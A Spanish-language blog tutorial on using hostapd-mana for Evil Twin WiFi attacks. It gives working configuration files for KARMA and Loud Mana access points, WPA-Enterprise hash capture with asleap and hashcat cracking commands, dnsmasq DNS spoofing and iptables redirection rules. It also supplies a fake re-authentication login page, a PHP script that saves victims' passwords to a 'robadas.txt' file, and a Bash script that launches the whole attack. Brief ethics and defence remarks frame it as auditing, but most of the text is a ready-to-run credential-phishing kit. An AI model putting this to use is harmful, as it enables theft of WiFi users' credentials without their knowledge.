hostapd-mana: Auditoría y Ataques WiFi

https://www.onlinetis.com

hostapd-mana: Auditoría y Ataques WiFi

hostapd-mana es una versión modificada y mejorada de hostapd, diseñada específicamente para auditorías de seguridad y ataques de "Evil Twin" (Gemelo Malvado).

A diferencia del hostapd convencional, Mana es mucho más agresivo para forzar a los dispositivos a conectarse a tu punto de acceso falso.

¿Qué hace especial a hostapd-mana?

Mientras que un punto de acceso normal solo responde si un dispositivo pregunta por su nombre específico (SSID), hostapd-mana puede:

Responder a todas las consultas (PROBE): Si un teléfono busca "WiFi_Casa", Mana le dice "Sí, yo soy WiFi_Casa". Si busca "Aeropuerto_Gratis", Mana también dice "Sí, yo soy ese".
KARMA Attack: Permite interceptar dispositivos que tienen activada la conexión automática a redes conocidas.
Loud Mana: Una técnica que "grita" múltiples SSIDs para atraer a los dispositivos cercanos.
EAP Interception: Puede capturar hashes de autenticación WPA Enterprise (como los de redes corporativas o universitarias) para luego crackearlos con herramientas como Hashcat.

Cómo instalarlo en Kali Linux

Generalmente, puedes instalarlo directamente desde los repositorios oficiales:

Bash

sudo apt update
sudo apt install hostapd-mana

Configuración Básica

Para ponerlo en marcha, necesitas un archivo de configuración (usualmente .conf). Aquí tienes un ejemplo de una configuración básica para un ataque de interceptación:

Ejemplo de archivo `mana.conf`:

Plaintext

interface=wlan0                   # Tu interfaz en modo monitor
driver=nl80211
ssid=WiFi_Gratis_Aeropuerto       # El nombre que verán las víctimas
hw_mode=g
channel=6

# Configuraciones específicas de MANA
mana_wpe=1                        # Habilita el modo Wireless PenTesting Enabler
mana_loud=1                       # Responde a todas las sondas (Probe Requests)

Ejecución:

Para lanzarlo, simplemente usas el comando apuntando a tu archivo:

Bash

sudo hostapd-mana mana.conf

Consideraciones Importantes

Interfaz Compatible: Necesitas una tarjeta WiFi que soporte Modo Monitor y Modo AP (Inyección). No todas las tarjetas integradas en laptops funcionan bien.
Ética y Legalidad: Esta herramienta es extremadamente potente. Úsala solo en entornos controlados o bajo auditorías autorizadas. Interceptar tráfico ajeno sin permiso es ilegal.
Certificados: Si intentas interceptar redes WPA Enterprise, el dispositivo de la víctima podría recibir una advertencia sobre el certificado.

Capturar hashes en redes WPA-Enterprise (802.1X) es uno de los usos más potentes de hostapd-mana. En este escenario, el atacante crea un punto de acceso falso que imita la red corporativa o universitaria. Cuando una víctima intenta conectarse, su dispositivo envía un hash (usualmente MSCHAPv2) que puedes intentar romper offline.

Aquí te explico cómo configurar este ataque paso a paso.

1. Preparación del Certificado

WPA-Enterprise requiere certificados SSL para la autenticación. hostapd-mana suele incluir scripts para generar certificados falsos que engañen al dispositivo cliente.

En Kali, puedes encontrar estos scripts en /usr/share/hostapd-mana/etc/mana/certs/. Debes generar los certificados para que el servicio pueda arrancar:

Bash

cd /usr/share/hostapd-mana/etc/mana/certs/
./bootstrap

2. Configuración del archivo `.conf`

Para capturar hashes, necesitas habilitar el modo WPE (Wireless Pwnage Edition). Crea un archivo llamado enterprise.conf con el siguiente contenido:

Plaintext

interface=wlan0
driver=nl80211
ssid=Red_Corporativa_Destino
hw_mode=g
channel=1

# Configuración WPA Enterprise
wpa=3
wpa_key_mgmt=WPA-EAP
ieee8021x=1
auth_algs=1

# Configuración específica de MANA para capturar hashes
mana_wpe=1
mana_eapout=1
# Ruta a los certificados que generaste
ca_cert=/usr/share/hostapd-mana/etc/mana/certs/ca.pem
server_cert=/usr/share/hostapd-mana/etc/mana/certs/server.pem
private_key=/usr/share/hostapd-mana/etc/mana/certs/server.key

3. Ejecución y Captura

Lanza hostapd-mana con el archivo de configuración. Verás en la terminal cómo los dispositivos intentan negociar la conexión.

Bash

sudo hostapd-mana enterprise.conf

Cuando un usuario intente conectar, verás un bloque de texto que contiene el Username y el Challenge/Response. Esto se guarda automáticamente en un archivo de log (usualmente hostapd-mana.eaplog).

4. Crackeo del Hash

Una vez que tengas el hash MSCHAPv2, el siguiente paso es "romperlo" para obtener la contraseña en texto plano. Puedes usar Asleap o Hashcat.

Con Asleap:

Bash

asleap -C <Challenge> -R <Response> -W diccionario.txt

Con Hashcat (Modo 5500):

Si el log te da el formato compatible con Hashcat:

Bash

hashcat -m 5500 hash_capturado.txt diccionario.txt

Advertencia Técnica: El "Certificado no confiable"

Es importante notar que, a diferencia de una red WPA2-PSK (doméstica), en WPA-Enterprise el dispositivo de la víctima mostrará un aviso diciendo que "El certificado no es de confianza".

Si el usuario acepta el certificado (clic en "Confiar"), el hash se envía y tú lo capturas.
Si el usuario es precavido y cancela, no obtendrás el hash.

El ataque de Portal Cautivo (o Captive Portal) es el complemento ideal cuando el objetivo no usa WPA-Enterprise, sino una red abierta o una red con contraseña compartida (WPA2-PSK) que quieres suplantar.

En este escenario, el usuario se conecta a tu WiFi falso y, al intentar navegar, se le redirige a una página web (diseñada por ti) que le pide sus credenciales, usualmente bajo la excusa de una "actualización de firmware" o "re-autenticación por seguridad".

1. Concepto del Ataque (Evil Twin + DNS Spoofing)

Para que esto funcione, necesitamos tres componentes trabajando juntos:

hostapd-mana: Crea el punto de acceso inalámbrico.
Servidor DHCP y DNS (dnsmasq): Asigna IPs a las víctimas y redirige sus consultas de navegación a tu IP.
Servidor Web (Apache/Nginx): Aloja la página de login falsa.

2. Configuración de Red

Primero, debes configurar tu interfaz para que actúe como puerta de enlace. Suponiendo que tu IP en la red falsa sea 10.0.0.1:

Bash

# Configurar IP en la interfaz inalámbrica
sudo ifconfig wlan0 10.0.0.1 netmask 255.255.255.0
# Crear ruta por defecto
sudo route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

3. Configuración de `dnsmasq`

Crea un archivo llamado dnsmasq.conf. Esto obligará a que cualquier página que el usuario busque (https://www.google.com/search?q=google.com, facebook.com, etc.) apunte a tu máquina:

Plaintext

interface=wlan0
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
# Redirigir todo el tráfico DNS a nuestra IP
address=/#/10.0.0.1

Ejecútalo con: sudo dnsmasq -C dnsmasq.conf -d

4. El Portal Falso (Servidor Web)

Kali ya viene con Apache. Solo necesitas poner tus archivos HTML en /var/www/html/.

Diseña un archivo index.html que parezca legítimo (puedes clonar la estética de una marca conocida).
Crea un script (por ejemplo en PHP) que tome los datos del formulario y los guarde en un archivo .txt.

Tip: Existen herramientas como Wifiphisher o Fluxion que automatizan todo este proceso de creación de portales, pero hacerlo manualmente con hostapd-mana te da mucho más control sobre el comportamiento del WiFi.

5. El "Toque Final": Forzar la Conexión

Aquí es donde brilla hostapd-mana. Al usar el modo Loud Mana, puedes hacer que el dispositivo de la víctima crea que está en su red de confianza, se conecte automáticamente y luego sea redirigido a tu portal.

Plaintext

# En tu mana.conf añade:
mana_wpe=0  # No es Enterprise
mana_loud=1 # Responde a todas las sondas

¿Cómo defenderse de esto?

Como auditor, es vital mencionar que la mejor defensa es el uso de VPNs (que cifran el tráfico incluso en redes falsas) y fijarse siempre en si el navegador marca la conexión como HTTPS legítima. Si el portal cautivo no tiene un certificado SSL válido (que es lo más probable en un ataque rápido), el navegador lanzará una advertencia roja.

Vamos a crear la "trampa" digital. Para que el portal cautivo funcione, necesitas un script que reciba los datos que el usuario escribe en tu página falsa y los guarde en un archivo de texto en tu servidor.

Aquí tienes un ejemplo sencillo y funcional:

1. El Formulario HTML (`index.html`)

Este archivo debe ir en /var/www/html/. Es lo que verá la víctima.

HTML
<!DOCTYPE html>
<html>
<head>
    <title>Actualización de Seguridad WiFi</title>
</head>
<body>
    <h2>Se requiere re-autenticación</h2>
    <p>Para continuar navegando, por favor ingrese su contraseña de red:</p>
    <form action="login.php" method="POST">
        Usuario: <input type="text" name="usuario"><br><br>
        Contraseña: <input type="password" name="password"><br><br>
        <input type="submit" value="Conectar">
    </form>
</body>
</html>

2. El Script de Captura (`login.php`)

Este script procesa los datos y redirige al usuario a una página real (como Google) para que no sospeche que algo salió mal.

PHP
<?php
// 1. Recoger los datos del formulario
$usuario = $_POST['usuario'];
$pass = $_POST['password'];
$ip = $_SERVER['REMOTE_ADDR'];

// 2. Formatear la información
$datos = "IP: " . $ip . " | Usuario: " . $usuario . " | Pass: " . $pass . "\n";

// 3. Guardar en un archivo de texto (creará 'robadas.txt')
file_put_contents("robadas.txt", $datos, FILE_APPEND);

// 4. Redirigir a la víctima a una web real para disimular
header("Location: https://www.google.com");
exit();
?>

3. Ajustes de Permisos

Para que PHP pueda escribir el archivo robadas.txt en la carpeta de Apache, debes darle permisos:

Bash

sudo chown www-data:www-data /var/www/html/
sudo chmod 755 /var/www/html/

¿Cómo ver las contraseñas en tiempo real?

Una vez que tengas todo corriendo (hostapd-mana, dnsmasq y apache), puedes abrir una terminal y usar este comando para ver las contraseñas conforme van cayendo:

Bash

tail -f /var/www/html/robadas.txt

El flujo completo del ataque:

Víctima se conecta al WiFi falso de hostapd-mana.
Dnsmasq le da una IP y le dice que "tú" eres el servidor DNS.
La víctima intenta entrar a cualquier web; Dnsmasq la redirige a tu IP (Apache).
La víctima ve tu index.html, escribe sus datos y pulsa "Conectar".
login.php guarda los datos en robadas.txt y manda a la víctima a Google.

Para que el ataque sea verdaderamente "invisible", la víctima debe poder navegar por Internet después de haber entregado sus datos. Si no tiene conexión, sospechará inmediatamente y se desconectará de tu red.

Para lograr esto, usaremos iptables para redirigir el tráfico y permitir el paso de datos (Forwarding) desde tu interfaz de ataque hacia tu interfaz con internet (por ejemplo, eth0).

1. Habilitar el Forwarding en el Núcleo

Primero, debes decirle a Kali Linux que permita que los paquetes de datos pasen de una interfaz a otra.

Bash

# Habilitar el reenvío de IP en el sistema
sudo sysctl -w net.ipv4.ip_forward=1

2. Configurar las Reglas de iptables

Aquí es donde sucede la "magia". Necesitamos dos tipos de reglas:

Redirección inicial: Todo el tráfico HTTP (puerto 80) va hacia tu portal cautivo.
Post-Login (Opcional/Manual): Una vez capturado el hash, permites el tráfico normal.

Ejecuta estos comandos para limpiar y configurar el NAT:

Bash
# Limpiar reglas previas
sudo iptables -F
sudo iptables -t nat -F

# Configurar el enmascaramiento (NAT) para dar salida a internet
# (Suponiendo que eth0 es tu internet y wlan0 tu WiFi falso)
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -j ACCEPT

3. El truco del "Portal Transparente"

Para que el usuario sea redirigido automáticamente a tu web sin que tenga que escribir una IP, usamos una regla de PREROUTING:

Bash

# Redirigir todo el tráfico web (puerto 80) a tu servidor Apache local
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80

4. Automatización del flujo (Estrategia)

Lo ideal es que el script login.php que hicimos antes ejecute un comando de sistema tras guardar la contraseña. Podrías añadir esta línea en el PHP para que, una vez que el usuario "caiga", su IP específica ya no sea redirigida al portal y pueda navegar libremente:

PHP
// En login.php, antes del header(Location...):
exec("sudo iptables -t nat -I PREROUTING -s " . $ip . " -j ACCEPT");

Nota: Esto requiere que el usuario www-data tenga permisos de sudo para iptables, lo cual es un riesgo de seguridad en tu propia máquina, úsalo con precaución.

Resumen del Escenario Final

Componente	Función
hostapd-mana	Crea la señal WiFi con el nombre (SSID) de confianza.
dnsmasq	Asigna IPs y engaña al navegador sobre dónde están las webs.
iptables	Maneja el flujo de datos y da salida a internet real.
Apache + PHP	Muestra el formulario falso y guarda el botín en `robadas.txt`.

Dato curioso: Muchos atacantes usan una segunda tarjeta WiFi o un cable Ethernet para proveer el internet real, mientras la primera tarjeta se encarga de emitir la señal falsa.

Este es el paso final para convertirte en un experto en la automatización de auditorías WiFi. Un script de Bash te permite levantar todo el entorno (DNS, IP Forwarding, Reglas de Red y el AP) en menos de 5 segundos.

Aquí tienes el script integral. Guárdalo como ataque_mana.sh.

1. El Script Maestro (`ataque_mana.sh`)

Bash
#!/bin/bash

# Configuración de variables
IFACE_WIFI="wlan0"      # Tu tarjeta en modo monitor/AP
IFACE_INET="eth0"       # Tu fuente de internet (cable o segunda WiFi)
MI_IP="10.0.0.1"

echo "[+] Configurando interfaces y forwarding..."
# 1. Habilitar IP Forwarding
sysctl -w net.ipv4.ip_forward=1

# 2. Configurar la IP de la interfaz WiFi
ifconfig $IFACE_WIFI $MI_IP netmask 255.255.255.0

echo "[+] Limpiando y configurando IPTABLES..."
# 3. Limpiar reglas anteriores
iptables -F
iptables -t nat -F

# 4. Configurar NAT para que las víctimas tengan internet real
iptables -t nat -A POSTROUTING -o $IFACE_INET -j MASQUERADE
iptables -A FORWARD -i $IFACE_WIFI -j ACCEPT

# 5. Redirigir tráfico HTTP al Portal Cautivo (Apache)
iptables -t nat -A PREROUTING -i $IFACE_WIFI -p tcp --dport 80 -j DNAT --to-destination $MI_IP:80

echo "[+] Iniciando servicios en segundo plano..."
# 6. Iniciar Apache (si no está corriendo)
systemctl start apache2

# 7. Iniciar dnsmasq (asegúrate de tener el dnsmasq.conf en la misma carpeta)
dnsmasq -C dnsmasq.conf -d &

echo "[+] ¡TODO LISTO! Iniciando hostapd-mana..."
# 8. Iniciar hostapd-mana (usa tu archivo .conf previo)
hostapd-mana mana.conf

# Al cerrar el script (Ctrl+C), limpiar todo
echo "[!] Deteniendo ataque y limpiando reglas..."
killall dnsmasq
iptables -F
iptables -t nat -F

2. Cómo prepararlo para la acción

Para que este script funcione sin errores, sigue estos tres pasos rápidos:

Darle permisos de ejecución:
Bash
```
chmod +x ataque_mana.sh
```
Organizar tus archivos:
Asegúrate de tener en la misma carpeta estos tres archivos:
- ataque_mana.sh (El script de arriba)
- mana.conf (La configuración de hostapd-mana)
- dnsmasq.conf (La configuración de DHCP/DNS que vimos antes)
Ejecutarlo como Root:
Bash
```
sudo ./ataque_mana.sh
```

¿Qué verás cuando funcione?

En la terminal verás los logs de dnsmasq mostrando qué dispositivos piden una IP (sabrás quién se conectó).
En los logs de hostapd-mana verás los intentos de asociación.
Si abres otra terminal con tail -f /var/www/html/robadas.txt, verás las contraseñas caer en "vivo".

Un detalle importante sobre HTTPS

Hoy en día, la mayoría de las webs usan HTTPS (puerto 443). El portal cautivo funciona mejor cuando el usuario intenta entrar a una web que aún usa HTTP o cuando su sistema operativo detecta que "necesita iniciar sesión" (como en los aeropuertos). Si la víctima entra directamente a https://facebook.com, el navegador le dará un aviso de seguridad antes de mostrar tu portal.

Buscar este blog